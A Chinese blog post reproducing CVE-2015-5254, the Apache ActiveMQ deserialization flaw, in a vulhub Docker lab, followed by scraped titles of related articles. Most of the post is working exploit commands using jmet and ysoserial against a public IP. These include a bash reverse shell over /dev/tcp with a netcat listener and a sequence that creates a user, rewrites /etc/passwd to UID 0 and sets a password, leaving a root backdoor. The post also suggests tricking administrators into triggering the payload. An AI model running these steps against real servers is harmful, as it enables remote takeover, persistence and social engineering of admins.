0x00 漏洞前言

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。

0x01  漏洞环境

1.在ubuntu16.04下安装docker/docker-compose:

# 安装pip
curl -s https://bootstrap.pypa.io/get-pip.py | python3
# 安装最新版docker
curl -s https://get.docker.com/ | sh
# 启动docker服务
service docker start
# 安装compose
pip install docker-compose
# 下载项目
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master
# 进入某一个漏洞/环境的目录cd   activemq/CVE-2015-5254/
# 自动化编译环境
docker-compose build

2.运行漏洞环境:

docker-compose up -d

环境运行后,将监听61616和8161两个端口其中61616是工作端口,消息在这个端口进行传递; 8161是网络管理页面端口访问http://your-ip:8161即可看到网络管理页面,不过这个漏洞理论上是不需要网络的。

使用浏览器直接访问activemq,查看是否部署完毕

http://45.32.101.90:8161/admin/(默认的用户名/密码为admin/admin)

0x02 漏洞复现

1.漏洞利用过程如下:

a.构造(可以使用ysoserial)可执行命令的序列化对象

b.作为一个消息,发送给目标61616端口

c.访问的Web管理页面,读取消息,触发漏洞

2.使用jmet进行漏洞利用:

首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

cd /optwget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

mkdir external

3.执行命令

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME   45.32.101.90   61616

4.此时会给目标的ActiveMQ添加一个名为事件的队列,可以我们通过http://45.32.101.90:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:

5.点击查看这条消息即可触发命令执行

6.此时进入容器

docker exec -it  cc0e9385f975  /bin/bash

7.可看到/ tmp /已成功创建,说明漏洞利用成功:

8.反弹shell:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/45.32.101.90/12340>&1" -Yp ROME45.32.101.90   61616

远程主机监听1234端口:

nc  -lvvp 1234

即可看到反弹是shell:

值得注意的是,通过网络管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。

9.添加用户

执行jmet的命令添加test用户并将其添加到root组,返回http://192.168.221.185:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它:

 java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 test" -Yp ROME  45.32.101.90  61616

让我们再将passwd中的test的uid修改为0,使它拥有root权限,返回http://192.168.221.185:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它。

 java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "sed -i "s/test:x:10010/test:x:0/g" /etc/passwd" -Yp ROME   45.32.101.90  61616

让我们再为test用户设置一个密码,返回http://192.168.221.185:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它。

 java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "echo "test:sd123456" | chpasswd" -Yp ROME   45.32.101.90   61616

到此为止,一个权限为root,密码为123456的用户即创建完毕。我们可以使用ssh直接远程登陆进入操作系统,并且还是最高权限。

0x03 参考链接

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

转载于:https://www.cnblogs.com/backlion/p/9970516.html

ActiveMQ反序列化漏洞(CVE-2015-5254)复现相关推荐

  1. XStream 反序列化漏洞 (CVE-2020-26258 26259) 的复现与分析

     聚焦源代码安全,网罗国内外最新资讯! Xstream 是 Java 类库,用来将对象序列化成 XML (JSON) 或反序列化为对象.XStream 是一款开源软件,允许在 BSD 许可证的许可下分 ...

  2. shiro反序列化漏洞的原理和复现

    一.shiro简介 Shiro是一个强大的简单易用的Java安全框架,主要用来更便捷的认证,授权,加密,会话管理.Shiro首要的和最重要的目标就是容易使用并且容易理解. 二.shiro的身份认证工作 ...

  3. java反序列化漏洞:2015年被低估的“破坏之王”

    近日,2015年最为被低估的,具有巨大破坏力的漏洞浮出水面.在FoxGlove Security安全团队的@breenmachine 发布一篇博客中介绍了该漏洞在最新版的WebLogic.WebSph ...

  4. yii反序列化漏洞复现及利用

    yii反序列化漏洞 Yii框架 Yii 是一个适用于开发 Web2.0 应用程序的高性能PHP 框架. Yii 是一个通用的 Web 编程框架,即可以用于开发各种用 PHP 构建的 Web 应用. 因 ...

  5. APACHE OFBIZ XML-RPC 反序列化漏洞 (CVE-2020-9496) 的复现与分析

     聚焦源代码安全,网罗国内外最新资讯! 1.1 状态 完成漏洞挖掘条件分析.漏洞复现. 1.2 简介 相关的重点类和方法: org.apache.xmlrpc.parser.SerializableP ...

  6. 【序列化】UNSAFE_DESERIALIZATION 不安全的反序列化和反序列化漏洞

    文章目录 Unsafe Deserialization 反序列化漏洞 背景 认识Java序列化与反序列化 用途 应用场景 Java中的API实现: 序列化基础类型参数 序列化对象 漏洞是怎么来的呢? ...

  7. YAML出现严重的反序列化漏洞,谷歌TensorFlow将采用 JSON

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 由谷歌开发的基于 Python 的开源机器学习和人工智能项目 TensorFlow 放弃对 YAML 的支持,以修复严重的代码执行漏洞. YAM ...

  8. Java 安全之反序列化漏洞

    1.序列化与反序列化: 序列化与反序列化对于 Java 程序员来说,应该不算陌生了,序列化与反序列化简单来说就是 Java 对象与数据之间的相互转化. 那么对于完全面向对象的 Java 语言来说为什么 ...

  9. 利用Vulnhub复现漏洞 - JBoss JMXInvokerServlet 反序列化漏洞

    JBoss JMXInvokerServlet 反序列化漏洞 Vulnhub官方复现教程 漏洞原理 复现过程 启动环境 端口设置 浏览器设置 BurpSuit设置 复现漏洞 序列化数据生成 发送POC ...

最新文章

  1. [网络流24题-7]圆桌问题
  2. itest听力答案2020_itest大学英语3测试答案
  3. DirectShow组件原理分析及应用
  4. Java预科篇2-环境搭建
  5. python---如何用Python实现iPhone X的人脸解锁功能?
  6. oem718d 基准站设置_千寻cors账号参数设置完成,RTK手簿显示浮动或单点伪距,能不能进行测量?...
  7. Linux基础——怎么样用 TeamViewer 和 VNC 从远程控制电脑
  8. 高通:蓝牙5.0将可同时连接两个设备
  9. C#语法基础(三)----窗体设计
  10. 蚂蚁可信原生负责人入选“2021年度全球青年领袖”名单
  11. 求n的阶乘的算法框图_VB求阶乘1/1!+1/2!+1/3!+.....+1/n!之和问题解决
  12. 教你从redhat官网获取ISO镜像
  13. 华为手机遮挡html页面,手机知识:华为手机老是显示屏幕被遮挡
  14. 工作总结10:毕业这一年的收获
  15. 手机怎么压缩gif动图大小?推荐一款gif压缩的工具
  16. 真无线蓝牙耳机哪个音质最好?2021入门级蓝牙耳机排行榜!
  17. 一篇网络流的好blog
  18. 滴滴抢单 java_今天我体验了下传说估值100亿美金的「滴滴拉屎」App,出门再也不愁找厕所了...
  19. 【论文写作】——设置正文和标题格式
  20. 疯子的匣子_人工智能扮演``疯子''来像孩子一样学习语法

热门文章

  1. matlab图片取模程序,彩屏图像取模,BMP图像提取程序示例 | 学步园
  2. php 循环队列,队列和循环队列-php数组
  3. 【Pytorch神经网络实战案例】27 MaskR-CNN内置模型实现语义分割
  4. python cpu_python 让cpu满载
  5. python 清除字符串中的 emoji 表情
  6. LeetCode 1178. 猜字谜(状态压缩+枚举二进制子集+哈希)
  7. LeetCode 1674. 使数组互补的最少操作次数(差分思想)
  8. LeetCode 492. 构造矩形
  9. 剑指Offer - 面试题53 - I. 在排序数组中查找数字 I(二分查找的变形版本)
  10. 会理天气预报软件测试,会理天气预报15天